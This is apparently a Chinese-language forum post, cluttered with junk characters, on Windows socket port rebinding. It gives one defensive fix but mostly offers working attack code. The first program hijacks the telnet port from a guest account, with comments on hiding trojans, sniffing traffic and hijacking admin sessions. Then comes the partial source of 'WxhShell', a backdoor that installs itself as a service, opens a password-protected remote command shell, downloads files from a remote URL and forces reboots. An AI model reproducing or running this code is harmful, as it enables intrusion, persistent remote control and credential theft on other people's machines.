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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V&'
:S{i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )ZU=`!4 .q>4? + saddr.sin_family = AF_INET; Xgy)Z:R dwQ*OxFl saddr.sin_addr.s_addr = htonl(INADDR_ANY); (f5v{S6b( w(P\+ m <% bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sF/X#GG- }x[d]fcC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n(mS +UK". 这意味着什么?意味着可以进行如下的攻击: j'?^<4i NjTVinz 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Kp|#04] %Jrdr`< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .>(?c92 xr2ew%&o 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C~2/ 5 I82?sQ7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 !
Z e MuQBn7F{c 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,|: a7b] 4{'0-7} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZOFhX$I 0d-w<lg9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L"i
B'= ^6?NYHMr= #include }OeEv@^ #include 3^LSK7.: #include QK5y%bTSA #include 8F$b/Z DWORD WINAPI ClientThread(LPVOID lpParam);
`ag7xd! int main() 6~b~[gA { kT(}>=]g WORD wVersionRequested; Fr%LV#Q DWORD ret; ]Q\Ogfjp WSADATA wsaData; gTK5z.] BOOL val; Co2* -[R SOCKADDR_IN saddr; ~Od4(
}/G SOCKADDR_IN scaddr; (K$K;f$"r int err; nL}bCX{ SOCKET s; UarU.~Uqi SOCKET sc; >'i
d/ int caddsize; U*ZP>Vv HANDLE mt; [aF?1KxNMt DWORD tid; >G2o wVersionRequested = MAKEWORD( 2, 2 ); H|='|k5Y. err = WSAStartup( wVersionRequested, &wsaData ); U[zY0B if ( err != 0 ) { 6 ^X$; printf("error!WSAStartup failed!\n"); K\&A}R return -1; Kp*nOZ } "C$z) saddr.sin_family = AF_INET; NF1e>O:a< D4yJ:ATO& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u93=>S 3,j)PKf
; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6h
N~< saddr.sin_port = htons(23); tb7Wr1$< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'Y+AU#1~H { n4%|F'ma printf("error!socket failed!\n"); pmyHto" return -1; v]g/
5qI& } 4Vj|k\vE4 val = TRUE; ^*C+^l&J! //SO_REUSEADDR选项就是可以实现端口重绑定的 :Ia3yi# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b
r)o Sw { [ADr
_ printf("error!setsockopt failed!\n"); Q3#-q>;7 return -1; -6MgC9] } 0SV#M6`GX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i^(_Gk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =+q9R`!L] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 irCS}Dbw p_Fc:%j> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `rC9i5: { 3%m2$\ ret=GetLastError(); hS&,Gm`^ printf("error!bind failed!\n"); cb l@V 1 return -1; 2%N$Y] } SF 61rm listen(s,2); {*H&NI while(1) ;HM&
":7 { z8M^TV caddsize = sizeof(scaddr); 6\)61o_1| //接受连接请求 ^.,pq?_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i]*Wt8~! if(sc!=INVALID_SOCKET) \`o+Le+% { `h12 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <3z]d?u if(mt==NULL) `CW8Wj { [AQ6ads) printf("Thread Creat Failed!\n"); !!_K|}QOE break; pt;E~_ } i$)bZr\ } QJp
_>K CloseHandle(mt); 9 )u*IGj } d<.
hkNN closesocket(s); CfQOG7e@ WSACleanup(); |$#u~<r_
w return 0; j$^3 } 5+b[-Daz DWORD WINAPI ClientThread(LPVOID lpParam) =:[Jz1 M5 { ?ltTJ(Po SOCKET ss = (SOCKET)lpParam; O5{!CT$ SOCKET sc; M*BDrM unsigned char buf[4096]; 33|>u+ SOCKADDR_IN saddr; ]uX'[Z}t long num; ed4:r/Dpo DWORD val; 2hAu~#X DWORD ret; U .hV1 //如果是隐藏端口应用的话,可以在此处加一些判断 B#AAG*Ai8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 G!k&'{2 saddr.sin_family = AF_INET; Qn(e[
C6\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B:)9hF?o@ saddr.sin_port = htons(23); |E0>-\6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jDIO,XuF { s;X"E= printf("error!socket failed!\n"); <~t38|Ff@
return -1; 5j1}?0v_ } Q.#@xaX'{` val = 100; ,i#]&f`c;5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (Mhj-0xf$ { 2Ch!LS:+ ret = GetLastError(); L=3^A'| return -1; r^-3( 77n } -X5rGp++ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n|IdEgD$ { ~PP*k QZlJ ret = GetLastError(); 1HL}tG?+# return -1; xi8RE@gm } \ }>1$kH; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OaRtGJnR { B;Ab`UX#t printf("error!socket connect failed!\n"); G*uy@s: closesocket(sc); Fh9`8 closesocket(ss); Kf2*|ZHj return -1; q3JoU/Sf } N_Cu%HP while(1) g
#u1.|s&p { "12.Bi.O"[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UOSa`TZbZ //如果是嗅探内容的话,可以再此处进行内容分析和记录 A>(m}P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ==`K$rM num = recv(ss,buf,4096,0); 1BwCJ7?8 if(num>0) E9HA8 send(sc,buf,num,0); n?_!gqK else if(num==0) }legh:/*?O break; YW9 [^ num = recv(sc,buf,4096,0); PF*<_p" j if(num>0) ]S<eO6z send(ss,buf,num,0); ^-cj=on=Q else if(num==0) 5_ -YF~ break; j0^~="p%C } "pdmz+k8S closesocket(ss); 1VL!0H closesocket(sc); YlwCl4hq return 0 ; csz/[* } b>=MG8 trnjOm zvYkWaa_Qz ========================================================== /c'3I
m619bzFlB 下边附上一个代码,,WXhSHELL F7gipCc1We TKj8a(R_ ========================================================== f305 yo F& .iY0Pt #include "stdafx.h" 3Ba>a(E ]#P9.c_} #include <stdio.h> I-oI,c%+ #include <string.h> >[B}eS> #include <windows.h> ]c]rIOTN #include <winsock2.h> e p~3e5 #include <winsvc.h> <uDEDb1|l #include <urlmon.h> U*`7 eyf\j,xP& #pragma comment (lib, "Ws2_32.lib") cP%mkh_ri #pragma comment (lib, "urlmon.lib") jnsV'@v8Nj @y3w_;P #define MAX_USER 100 // 最大客户端连接数 "- S2${ #define BUF_SOCK 200 // sock buffer "-GjwB #define KEY_BUFF 255 // 输入 buffer NH$%g\GPs =)vmX0vL #define REBOOT 0 // 重启 0gO<]]M? #define SHUTDOWN 1 // 关机 i71, 4V9DPBh #define DEF_PORT 5000 // 监听端口 Nl3x
BM% l4?o0;:) #define REG_LEN 16 // 注册表键长度 ,0%P3 #define SVC_LEN 80 // NT服务名长度 SO%x=W 9~98v;Z1 // 从dll定义API =8O057y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *c4uCI:0t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); opxVxjTT# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s `fIeP typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O^ZOc0< Q3>
3!FAO // wxhshell配置信息 YYU Di@K struct WSCFG { LWE[]1= int ws_port; // 监听端口 RFd.L@-] char ws_passstr[REG_LEN]; // 口令 lG12Su/ int ws_autoins; // 安装标记, 1=yes 0=no V{@
xhW0 char ws_regname[REG_LEN]; // 注册表键名 wU,{5 w char ws_svcname[REG_LEN]; // 服务名 im{'PgiR char ws_svcdisp[SVC_LEN]; // 服务显示名 <6^MVaD char ws_svcdesc[SVC_LEN]; // 服务描述信息 CAyV#7[0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =<w6yeko int ws_downexe; // 下载执行标记, 1=yes 0=no !c-Ie~GIT char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" wEL$QOu$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =S/$h}Vi iL(rZT&^ }; 6z
v+Av: M,@\*qlEJ // default Wxhshell configuration |d^r"wbs3 struct WSCFG wscfg={DEF_PORT, "]J4 BZD "xuhuanlingzhe", dd1m~Gm 1, #k2&2W=x "Wxhshell", i0DYdUj "Wxhshell", 9z7^0Ruw "WxhShell Service", EeGP E "Wrsky Windows CmdShell Service", q<`YJ, "Please Input Your Password: ", }@MOkj 1, nM:e<`r " http://www.wrsky.com/wxhshell.exe", }R-eQT "Wxhshell.exe" Y: &?xR }; F{}mlQg bK;I:JK3 // 消息定义模块 RG/M- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Gxu char *msg_ws_prompt="\n\r? for help\n\r#>"; ?95^&4Oh0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; &.z: i5&o! char *msg_ws_ext="\n\rExit."; |_L\^T|6 char *msg_ws_end="\n\rQuit."; fkE4[X7f char *msg_ws_boot="\n\rReboot..."; 3a PCi>i!_ char *msg_ws_poff="\n\rShutdown..."; #(&!^X3 char *msg_ws_down="\n\rSave to "; H~%HTl <>/0;J1< char *msg_ws_err="\n\rErr!"; "?EoYF_ char *msg_ws_ok="\n\rOK!"; gTWl];xja -1).'aJ^ char ExeFile[MAX_PATH]; pQ%~u3 int nUser = 0;
FEj{/ HANDLE handles[MAX_USER]; {^>dQ+S x7 int OsIsNt; KdU!wsKfG QA?e2kd SERVICE_STATUS serviceStatus; ^@?-YWt SERVICE_STATUS_HANDLE hServiceStatusHandle; T0BFit6 \jL n5$OW // 函数声明 [=*c8 int Install(void); v0euvs int Uninstall(void); gi!{y int DownloadFile(char *sURL, SOCKET wsh); S <~"\<ED int Boot(int flag); 4i0~t~vDpr void HideProc(void); 2u 8z>/G int GetOsVer(void); ;=\vm"I? int Wxhshell(SOCKET wsl); gN#&Ag<? void TalkWithClient(void *cs); #\9sCnb int CmdShell(SOCKET sock); YEfa8'7R int StartFromService(void); 4AdZN5 int StartWxhshell(LPSTR lpCmdLine); ELoE-b)Cb k(l VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %oVoE2T{@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); MX!t/&X(n VZ"W_U, // 数据结构和表定义 ^Wb|Pl SERVICE_TABLE_ENTRY DispatchTable[] = b37F;"G { y4* }E {wscfg.ws_svcname, NTServiceMain}, _ dFZR {NULL, NULL} 57r?`'#* }; =xwA'D9] H9nVtS{x // 自我安装 UeNa int Install(void) Fw,'a { E}eu]2=nU} char svExeFile[MAX_PATH]; S[p.`<{J HKEY key; tMM*m strcpy(svExeFile,ExeFile); bvdAOvxChW S!!i // 如果是win9x系统,修改注册表设为自启动 5!WQ if(!OsIsNt) { x3ds{Z$,>( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1=LI))nV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EB8=* B8 RegCloseKey(key); ",wv*z)_> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E-Z6qZ^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6zuWG0t RegCloseKey(key); yZ7aH|Q81B return 0; 'N1_:$z@( } jSMvZJX3n } =.vc={_? } piq1cV else { aLr\Uq,83 aD
yHIh8 // 如果是NT以上系统,安装为系统服务 1rs`|iX5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EPx_xX if (schSCManager!=0) R7~H}>uaF { RU}
M&& SC_HANDLE schService = CreateService :e9}k5kdk ( -]8cw#y
0A schSCManager, AhjK*nJF wscfg.ws_svcname, 1J8okBhZ wscfg.ws_svcdisp, JNY;;9o SERVICE_ALL_ACCESS, dWR0tS6vR` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X\X*-.]{ SERVICE_AUTO_START, p3?!}VM!y SERVICE_ERROR_NORMAL, C>%2'S^.b svExeFile, bWc3a NULL, (Uo:WyVj|F NULL, Mm7l! NULL, &,?bX]) NULL, CV/ei,=9 NULL Pba 6Ay6B ); L2"fO if (schService!=0) 5DgfrX { XXuIWIhm CloseServiceHandle(schService); (1.E9+MquU CloseServiceHandle(schSCManager); ;6o p|O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JffjGf-o strcat(svExeFile,wscfg.ws_svcname); \^<eJfD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 25xpq^Zw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !<!5;f8 RegCloseKey(key); -Y]ue*k{ return 0; j$%KKl8j } /S29\^ } cID{X&or CloseServiceHandle(schSCManager); +5n,/YjS` } 5GD6%{\O } r^3QDoy "9=F/o9 return 1; #R_IF&7 } sSVgDQ~q :r0?[#r?N, // 自我卸载 Q+e|;Mj int Uninstall(void) W5a)`%H { "#uXpCuw HKEY key; FI@!7@ sFNB rL if(!OsIsNt) { B+:'Ld]( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S{cy|QD RegDeleteValue(key,wscfg.ws_regname); x!CCSM;q RegCloseKey(key); U
00}jH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]^HlI4 z RegDeleteValue(key,wscfg.ws_regname); s&vREx( RegCloseKey(key); cx?XJ) return 0; G(7!3a+ } kh3PEq } ^8S'=Bk } Hm=!;xAFX else { |G.|ocj; Sp+ zP-3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yLfb'Ba if (schSCManager!=0) ?#|Y'%a" { T;(k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -h&AO\*^W if (schService!=0) c#eV!fl>& { Ps3wg=ni[ if(DeleteService(schService)!=0) { c]]OV7;)> CloseServiceHandle(schService); ?3ldHWa CloseServiceHandle(schSCManager); o#V}l^uU= return 0; w}="}Cb } +o]DT7W CloseServiceHandle(schService); 8^26g3 } N%Gb CloseServiceHandle(schSCManager); 2y6 e]D } {[V<mT2/ } Kj|l]' XV"8R"u%Q return 1; d(u"^NH; } egur} E! '|FJ // 从指定url下载文件 y7ng/vqM7 int DownloadFile(char *sURL, SOCKET wsh) 4-RzWSFbo` { r(g:b
^S HRESULT hr; ~gz_4gzb char seps[]= "/"; +AGI)uQQ char *token; eEvE3=,hg char *file; I"TFj$Pg char myURL[MAX_PATH]; X6lkz*M. char myFILE[MAX_PATH]; 8G&'ED_& WCc7 MK strcpy(myURL,sURL); d\% |!ix token=strtok(myURL,seps); Bp
#:sAG while(token!=NULL) x<_uwL2a { b^WTX file=token; kzq3-NTV token=strtok(NULL,seps); p:kHb@ } fO6i %ZT@& GetCurrentDirectory(MAX_PATH,myFILE); Aj9<4N strcat(myFILE, "\\"); 0)=U:y. strcat(myFILE, file); Mi+<|5is send(wsh,myFILE,strlen(myFILE),0); ;Mzy>*#$Q send(wsh,"...",3,0); S6~&g|T, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6x?3%0Km if(hr==S_OK) 9 b?Nlk8d return 0; 9fLxp$`(T else eiTG return 1; g9N_s,3jC i@Vi.oc4[ } ;;r}=0V*= ,E YB
E // 系统电源模块 B!>hHQ2
int Boot(int flag) =8Bq2.nlR { C"X; ,F< HANDLE hToken; HN7C+e4U~ TOKEN_PRIVILEGES tkp; /EW1& _ML`Vh] if(OsIsNt) { mpcO-%a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aJAQ G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9^D5Sl$g tkp.PrivilegeCount = 1; <G+IbUG: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m :M=De AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %yr(i 6L if(flag==REBOOT) { y5oC|v7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bUcq
LV return 0; |3ob1/)p0 } h_xHQf else { Qv v~nGq$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i.~*G8!DM return 0; -chk\75 } 5(+9(
\x } N^Bjw?3 else { e<.O'!=7Y if(flag==REBOOT) { #KFpT__F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N,oN3mFF return 0; p|q} z / } :h(r2?=7 else { {y>o6OTITR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W.|r=
return 0; KV1/!r+* } E;*JD x } X3# AYn, i,3[0*ge return 1; 3$~6+i } ,.Sd)JB' =
nIl$9 // win9x进程隐藏模块 *'BA#
/@ void HideProc(void) x!@ 3.$ { M@TXzn!&o JsDugn ,B HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [UW%(N if ( hKernel != NULL ) &a/F"?9jL { $t1XoL pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #0F6{&;
M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7K.in3M( FreeLibrary(hKernel); 2{`[<w } C{5^UCJkg 0Na/3cz|zg return; "&@v[O)!xu } m0$4 d^.@~ // 获取操作系统版本 :t'*fHi~ int GetOsVer(void) <*4'H { Ie<`WU K OSVERSIONINFO winfo; @y+Hb@ >. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kr=&x)Wy! GetVersionEx(&winfo); DXH"`1[- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0</]Jo% return 1; <gtqwH] else s .xJ},E9 return 0; fNh0?/3) } }2 X" 0>aAI3E // 客户端句柄模块 j,%<16f^A int Wxhshell(SOCKET wsl) ivi,/~L { >U2[]fu SOCKET wsh; "j]85 struct sockaddr_in client; iW\Q>~0#_ DWORD myID; .w@o%AO_ 1638U1 while(nUser<MAX_USER) +)cjW"9 { L6jD4ec8 int nSize=sizeof(client); )q>mt/, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L)!9+!PKD if(wsh==INVALID_SOCKET) return 1; VuiK5?m ?[`*z?} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;<?mMi@<E if(handles[nUser]==0) w QnW2)9! closesocket(wsh); u5LrZt]k else !
,*4d $ nUser++; w:0=L`<Eu } o;#9$j7QP! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mjr19_.S i`F8kg`_K return 0; T`?{Is['( } vp#A D9h1 IeZgF> // 关闭 socket <$8`]e?I void CloseIt(SOCKET wsh) ];n3H~2 { 7H~J?_ closesocket(wsh); C@7<0w nUser--; /%P|<[<
[ ExitThread(0); &.ENcEic } 2L!wbeTb; , '_y@9?I // 客户端请求句柄 d8o<Q 9 void TalkWithClient(void *cs) Rb8wq.LqD { ?df*Y5I2 NukcBH SOCKET wsh=(SOCKET)cs; O8 \dMb
char pwd[SVC_LEN]; <x^Ab#K" char cmd[KEY_BUFF]; (H/2{## char chr[1]; #KOr-Yg|U int i,j; h:J0d~u Vo@gxC, while (nUser < MAX_USER) { ^Qx
qv vfn _Nq; if(wscfg.ws_passstr) { {[<o)k .A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ev$\Ns^g$3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R'#1|eWCa //ZeroMemory(pwd,KEY_BUFF); ^>3q@,C]c i=0; de&*#O5 while(i<SVC_LEN) { Uzx,aYo X PGE|){
< // 设置超时
dkr[B'n fd_set FdRead; 6w )mo)<X struct timeval TimeOut; fs:%L FD_ZERO(&FdRead); zn=Ifz)#| FD_SET(wsh,&FdRead); }r+(Z.BHM TimeOut.tv_sec=8; 5\?\|* WT TimeOut.tv_usec=0; #%=6DHsK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >l!#_a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {`Jr$*; 3\ !DsPgW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $CXMeY{tOo pwd =chr[0]; q$<M2 if(chr[0]==0xd || chr[0]==0xa) { ,bLHkBK pwd=0; -_p +4tV break; b%TS37`^[ } <hS %I i++; ;VLv2J* } U)PNY
[b=l'e/ // 如果是非法用户,关闭 socket 1;U
`e4" if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); us_o{ } m,u5S=3A{! "L(4 EcO@ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >\/H2j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v}Gpw6 <#[_S$54 while(1) { D^[}:O{ &7}\mnhB ZeroMemory(cmd,KEY_BUFF); L$Uy
^"U-\cx // 自动支持客户端 telnet标准 o~_ wx j=0; D)]U+Qk while(j<KEY_BUFF) { Q?Y\WD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H(JgqbFB* cmd[j]=chr[0]; hJkSk;^ if(chr[0]==0xa || chr[0]==0xd) { M<A jtDF% cmd[j]=0; wfecM( break; .[@TC@W }
`.Oj^H6 j++; #dvH0LX? } DaA9fJ7a
\hm;p // 下载文件 Rr9K1io$) if(strstr(cmd,"http://")) { ]YO &_# send(wsh,msg_ws_down,strlen(msg_ws_down),0); go6XUe if(DownloadFile(cmd,wsh)) $,mljJSQv send(wsh,msg_ws_err,strlen(msg_ws_err),0); :jJ;&t^^ else xla64Qld send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \1[=t+/ } @1`!}.Tk else { 3? R56$-+ ?yfw3s switch(cmd[0]) { d(=*@epjR y@T0
jI // 帮助 ],?rFK{O case '?': { JGJy_.C send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /K@_O\+;Q break; g`2DJi&) } C1x"q9|\` // 安装 ?!uj8&yyf case 'i': { w_>SxSS7 if(Install()) *_qW;l7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &B3[:nS2 else rt_k } send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {\SJr: break; 9{A[n} } LU7ia[T // 卸载 I}Fv4wlZG case 'r': { <\9M+ if(Uninstall()) ytWTJ>L send(wsh,msg_ws_err,strlen(msg_ws_err),0); b_'VWd:am else 37F&s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G1X${x7 break; mmJ$+$JEk } hB!>*AsG // 显示 wxhshell 所在路径 *(?tf{ case 'p': { wa)E.(x char svExeFile[MAX_PATH]; bg =<) s strcpy(svExeFile,"\n\r"); [?=Vqd strcat(svExeFile,ExeFile); 77]6_ send(wsh,svExeFile,strlen(svExeFile),0); )6t=Bel break; " iz'x-wy } .8v[ss6: // 重启 1luRTI8^ case 'b': { :/.SrkN(A7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zFFip/z\ if(Boot(REBOOT)) odm!}stus send(wsh,msg_ws_err,strlen(msg_ws_err),0); kdam]L:9 else { Yp;6.\Z8[ closesocket(wsh); Jtv~n ExitThread(0); Yu`KHvur } (L2:|1P) break; 4D4Y.g_x } TA~FP#. // 关机 #guq/g$ case 'd': { H[u[3 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v5/2-<6x if(Boot(SHUTDOWN)) l_1y#B-k5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4(hHp6}b else { _'.YC<; closesocket(wsh); HTa]T' ExitThread(0); 0&W*U{0F\ } ({5`C dVi break; qGYru1 } _P:}]5-| // 获取shell p_Yx"nO7 case 's': { bo]= * CmdShell(wsh); (H*EZ closesocket(wsh); b14WIgjsl ExitThread(0); $7'K]'UJXO break; < 9 vS } Yqz
B=" // 退出 R|,F C' case 'x': { FL /395 <: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); op|:XLR5 CloseIt(wsh); !ot$ Q break; =a]B#uUn } 1k:s~m?! // 离开 ]CnqPLqL case 'q': { 8#_"WzDw send(wsh,msg_ws_end,strlen(msg_ws_end),0); X^%E"{!nU closesocket(wsh); p&O-]o8 WSACleanup(); G#f(oGn : exit(1); \U\k$ ( break; }vof| (Yh } <8?jn*$;\ } b~L8m4L } gT=RJB *qN(_ // 提示信息 *
SHQ[L4{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Ox!tvyr } &58TX[# } uTq)Ets3 I~f8+DE) return; 1oVjx_I5y } :{tj5P!S
GO|EeM!iB // shell模块句柄 5"cYZvGkJ int CmdShell(SOCKET sock) xdV $dDCT { ;xl_9Ht/ STARTUPINFO si; ud@7%% ZeroMemory(&si,sizeof(si)); wRLj>nc si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &qP@WFl si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >8>}o4Q/X PROCESS_INFORMATION ProcessInfo; HHMv%H]M char cmdline[]="cmd"; .:(N1n'>1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $S(q;Y
return 0; j}devpO } !~5=tK F87aIJ.pGN // 自身启动模式 /[|ODfY int StartFromService(void) 7lJs{$
P { 3~uWrZ.u typedef struct SyWLPh { G"'[dL)N> DWORD ExitStatus; b#2$Pd:( DWORD PebBaseAddress; <s737Rl DWORD AffinityMask; Q x]zz4jD DWORD BasePriority; $sTvXf:g ULONG UniqueProcessId; TM1D|H ULONG InheritedFromUniqueProcessId; 1}$GVb%i } PROCESS_BASIC_INFORMATION; HN j6Iw w' gKE'c PROCNTQSIP NtQueryInformationProcess; -Jj"JN. ~LKX2Q:S static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KW[Jft static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F~Z~OqCS ^^{gn3xJ HANDLE hProcess; e=<%{M& PROCESS_BASIC_INFORMATION pbi; #P''+$5, ~_YU%y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D]h~\ if(NULL == hInst ) return 0; L9FijF7 E{-W#}# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9j6 g_pGetModuleBaseName = 